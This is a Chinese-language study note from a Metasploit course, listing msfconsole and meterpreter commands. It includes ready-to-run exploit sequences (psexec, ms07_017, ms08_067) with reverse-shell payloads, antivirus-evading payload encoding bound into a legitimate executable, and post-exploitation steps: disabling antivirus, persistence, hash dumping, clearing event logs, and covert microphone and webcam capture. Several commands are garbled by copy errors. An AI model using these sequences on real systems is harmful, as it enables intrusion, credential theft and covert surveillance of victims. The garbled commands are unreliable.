msf外内部常用命令
安全牛学习Metasploit Framework笔记
1、msf外部命令
msfconsole -h/-q/-r/-v/exit
msf的帮助信息/安静启动,没有banner/使用msfconsole自动化执行rc文件里的内容/msf版本/退出msfhelp/?/help xxx
帮助信息/帮助信息/查看具体名称的帮助i信息service postgresql start
启动数据库
2、msf内部基本命令
(1)基本命令
resource xx.rc
在msf内部自动化执行该文件,rc是资源文件的标准扩展名,msfconsole -r xx.rc是一样的效果,只不过msfconsole需要先打开msf控制台,再执行xx.rc资源文件banner/color/connect -h
msf标语,简单介绍/color true or false or auto/类似ncshow auxiliary / exploits / payloads / encoders / nops/post
辅助模块/攻击代码/攻击载荷/编码/payload的稳定与维持大小/后渗透search xxx / help search
搜索xxx利用攻击模块/search查询帮助search name:mysql/search name:mysql type:auxiliary
单条件搜索/多条件搜索use dos/windows/smb/ms09_001_write
使用攻击模块
进入攻击模块后:show options / payloads / targets / advanced / evasion/missing
显示配置信息/显示适用于当前exploit利用模块的payloads,并不显示全部/指定目标系统,一般都会选择,系统默认的攻击成功率不高/显示高级参数配置/作逃避,绕过的配置/显示哪个参数必须设置的但还没有设置的info/edit
获取模块的基本信息/编辑当前exploit模块的代码Check /back
配置完成后,在exploit之前判断目标ip漏洞是否存在,并不是所有exploit模块存在check,只有少数/返回上一层,类似linux中的cd ..,但无法退出msf,退出使用exitdb_status / db_rebuild_cache/db_disconnect/db_connect/db_nmap
数据库连接信息/MSF所有的模块都保存在/usr/share/metasploit-framework/modules/,因为在msf内部使用文件搜索较慢,所以将所有模块缓存到msf的数据库里,那么搜索的速度就会变快,目的:启动一个任务,在msf数据库中,创建一个所有模块的cache,提高搜索速度/断开msf和当前数据库的连接/连接指定数据库连接的配置文件,例:db_connect -y /usr/share/metasploit-framework/config/database.yml,还有不懂得可以db_connect -h查看相关配置信息/集成在msf中的nmap,和外部的nmap使用和效果一样,唯一不同的就是,msf中的nmap扫描结果会自动保存在msf数据库中hosts / hosts 1.1.1.1 / hosts -u / hosts -c address,os_flavor -S Linux
查看当前数据库中已扫描到的主机信息/查看指定IP的主机信息/查看哪些主机是开机up状态/查看指定列的信息/搜索包含指定字符串的内容services/services -p 80 / services -c info,name -p 1-1000 192.168.100.141
显示已扫描到主机的端口信息/搜索指定已扫描主机开放的指定端口/搜索指定列、端口、IP的信息vulns / creds (mysql_login) / loot (hashdump)
查看已经攻击成功的漏洞信息/显示攻击成功时的服务的账号和密码信息/hash值的破解db_import /xx/xx/xx.xml/ db_export -f xml /xx/xx/xx.xml
数据库导入/数据库导出set / unset / setg / unsetg / save
设置参数/取消设置的参数/全局设置参数,只要有模块里有该参数,值都为我们之前已经全局设置的/取消全局变量的设置/保存当前msf会话内的配置,退出后重新登陆msf配置依旧存在,如果想恢复初始的样子,那就删掉这个保存的配置文件,重启msfconsolerun / exploit/exploit -j
两个命令一样的,auxiliary模块常用run,exploits模块常用exploit,这是建议,实际用哪个都一样/拿到shell不会立马进入shell,以后台的进程存在jobs/ kill 0
在后台运行的job/kill id值load / unload loadpath
调入插件,连接外部的插件/关闭调用外部插件/众所周知,msf的所有模块都在/sur/share/metasploit-framework/modules下,loadpath可以调用其它指定目录里的模块,比如自己开发或编写的模块sessions or sessions-I/sessions -i (Shell 、Meterpreter session、VNC)
获得的shell连接会话,已经建立的session//进入指定id的sessionroute通过指定session路由流量
指定一个session,以后朝向对方内网的流量,都通过这个session id建立的连接,进行流量转发,相当于这个session id就是中转站irb (Framework::Version)
进入msf的内部开发模式,可以执行一些内部函数,也可以开发自己的模块等等
(2)Exploit模块
Active exploit(主动攻击,主要是服务端的漏洞,将payload发送给目标服务端侦听的端口)这个就是我们直接攻击,不开防火墙可以,开了不行
use exploit/windows/smb/psexec
该模块是在远程目标系统上执行程序
set RHOST192.168.1.100
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192. 168.1.1
set LPORT 4444
set SMBUSER user1
set SMBPASS pass1
exploitPassive Exploits(被动攻击,主要是客户端的程序)这个就是我们设陷阱,等目标上钩,这个可以针对开了防火墙的,配合社会工程学
use exploit/windows/browser/ms07_017_ani loadimage_chunksize
set URIPATH /
set PAYLOAD windows/shel/reverse tcp
set LHOST 192. 168.1.1
set LPORT 4444
exploit
(3)生成payload
use payload/windows/shell bind_ tcp
(4)使用payload
generate(坏字符)
使用generate生成一个payloadgenerate -b '\x00'/generate -b '\x00\x44\x67\x66\xfalx01\xe0\x44\x67\xa1\xa2\xa3x75\x4b'/generate -b \'x00\x44\x67\x66\lxfa\x01\xe0\x44\x67xa1xa2lxa3\x75\x4b\xFF\x0a\x0b\x01\xcc\6e\x1e\x2e\x26'
msf自动选择编码模块绕过坏字符,避免在shellcode中出现的坏字符,常用过滤的是\x00、\xff,都是使用encoder过滤引号中的坏字符
show encoders / generate -e x86/nonalpha
显示编码类型/手动指定编码模块
generate -b \x00' -t exe -e x86/shikata_ga_ nai -i 5 -k -x /usr/share/windows-binaries/radmin.exe -f /root/1.exe
-b过滤encoser坏字符,-t指定输出格式,可为c、exe等等,-e指定encoder类型,-i使用编码的次数,多轮编码,-k不产生新的进程,只产生新的线程,更隐蔽,-x将payload和指定模板绑定在一起,-f输出指定文件。注:最后可利用文件为1.exeNOP=no-operation=Next Operation (无任何操作)
当CPU执行到NOP,就顺则会往下滑,滑到有操作的位置,EIP返回到存储NOP sled的任意地址时将递增,最终导致shellcode执行,例:generate -s 14,在payload前面加14位NOP
3、meterpreter基本命令
Help/background
帮助信息/从seesion中退出,但保存session的连接run/bgrun killav/bgrun persistence/bgrun hashdump/bgrun vnc/sound_recorder/webcam/winbf
前台运行指定命令/后台与运行,关闭杀毒软件/建立持久连接,将shellcode写入系统文件,开机自启/开启图形化远程管理/录制声音/开启摄像头/让肉鸡帮忙暴力破解密码,利用肉鸡资源cd/ls/cat/pwd/dir/mkdir/mv/rm/rmdir/edit/可以使用linux命令
进入/显示文件/查看/显示当前路径/显示文件/创建目录/移动/删除/删除目录/编辑lpwd/lcd 本地目录
local当前的工作目录,就是在kali上的我们使用的工作目录/进入我们本地目录clearev/download/upload /usr/share/windows binaries/nc.exe c:\\windows\\system32
删除目标系统日志/下载文件到本地/上传本地文件到目标系统
注:因为\在linux中有转义符的含义,所以执行linux命令时要用两个\表示目标windows的\win+r eventvwr
windows日志查看execute -f cmd.exe -i -H
-f执行目标系统里的哪个程序,-i和执行的这个程序进行交互,-H将这个程序窗口隐藏起来执行getuid/getsystem/getprivs/getproxy/getpid/migrate
以哪个用户账号登陆到目标系统的/强制获取成system账号,获得系统权限/查看当前用户权限/获取目标系统代理信息/查看当前shellcode的线程在目标系统哪个进程当中/迁移线程到其它进程中hashdump/run post/windows/gather/hashdump
系统账号哈希值/系统账号哈希值sysinfo/ps/kill/reboot/shutdown/shell
目标系统信息/查看进程/查杀进程/重启/关闭/获得一个目标操作系统的shell,退出到meterpreter用exitshow_mount/search -f autoexec.bat
当前挂载了几个系统分区/搜索目标系统中的文件arp/netstat/ipconfig/ifconfig/route
查看目标机器的arp缓存/查看目标端口连接/ip地址/ip地址/查看目标路由表idletime/resource
查看目标操作系统空闲时间/调用外部的资源文件,自动化执行record_mic/webcam_list/webcam_snap -i 1 -v false
记录目标麦克风的声音/列出目标系统上所有的摄像头/每隔一秒钟用摄像头拍照一次
4、meterpreter python 扩展
(1)2015年11月份,来自社区的贡献
无需运行环境,在客户端运行原生python代码
就是不需要编译python,目标系统没有python解释器,也可以执行
使用示例:
- load python
加载python插件
- Help
帮助
- python_execute "print ('asdasdas')"
执行python代码
- python_execute "import oS;cd = os.getcwd()" -r cd
-r是显示cd变量的值
- python_import -f find.py
(2)msfcli
201 5年6月已经被取消,由msfconsole -x取代,编写脚本时便于引用
msfconsole -x "use exploit/windows/smb/ms08_ 067 netapi; set RHOST 1.1.1.1; set PAYLOAD windows/meterpreter/reverse_ tcp; set LHOST 1.1.1 .8; set LPORT 5555; set target 34;exploit"